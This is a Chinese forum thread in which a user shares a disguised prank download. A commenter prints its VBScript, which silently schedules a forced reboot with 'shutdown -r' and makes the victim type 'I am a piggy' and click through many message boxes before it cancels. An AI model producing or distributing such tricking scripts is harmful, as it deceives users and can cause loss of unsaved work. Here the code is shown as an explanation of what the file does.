一个自动关机的软件，大家试试。整人的

莼坏蛋

可爱的小猪.rar (1.22 KB, 下载次数: 112009)

2010-7-2 10:56 上传

点击文件名下载附件
可爱的小猪 一个自动关机的软件，很好玩的，大家可以拿回去试试。
试完了，找到破解的方法的回来告诉我，以后就不会被耍了

ds188

自动关机前会提示吗？要是会有提示，取消自动关机就没事了。

漫步星辰

一试大概就死机了。

jiang790

不试了

an0103l

还是不试了吧

paulxy

被avira报毒

z63182969

小心啦。。。

无我灭境

内容如下：

无我灭境

on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 48 -c ""说我是小猪，看清楚[你自己不说我是小猪 48秒钟关你机]，不信，试试···"" ",0 ,true  
dim a
do while(a <> "我是小猪")
a = inputbox ("你自己说自己：我是小猪,就不关机 就只有5分钟哦。还不速度！快撒，说 ""我是小猪""　","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "小猪猪。呵呵。真乖"
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，好玩不"
msgbox chr(13) + chr(13) + chr(13) + "托你点时间，你说了你是小猪，你动作不快 一样关机"
msgbox chr(13) + chr(13) + chr(13) + "哈哈.! 我毒不.? 还是有点毒噶.到记时30秒.自己点快点就没事了"
msgbox chr(13) + chr(13) + chr(13) + "加油狂点确定:30"
msgbox chr(13) + chr(13) + chr(13) + "加油狂点确定:30"
msgbox chr(13) + chr(13) + chr(13) + "加油狂点确定:30"
msgbox chr(13) + chr(13) + chr(13) + "加油狂点确定:30"
msgbox chr(13) + chr(13) + chr(13) + "加油狂点确定:30"
msgbox chr(13) + chr(13) + chr(13) + "与``看错了。是300秒。速度点喔。~!"
msgbox chr(13) + chr(13) + chr(13) + "加油狂点确定:300"
……
msgbox chr(13) + chr(13) + chr(13) + "加油狂点确定:1"
msgbox chr(13) + chr(13) + chr(13) + "终于过关了.哈哈.!你可以去糊弄别人了."
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true

无我灭境

就是调用了shutdown命令的玩笑脚本而已，无毒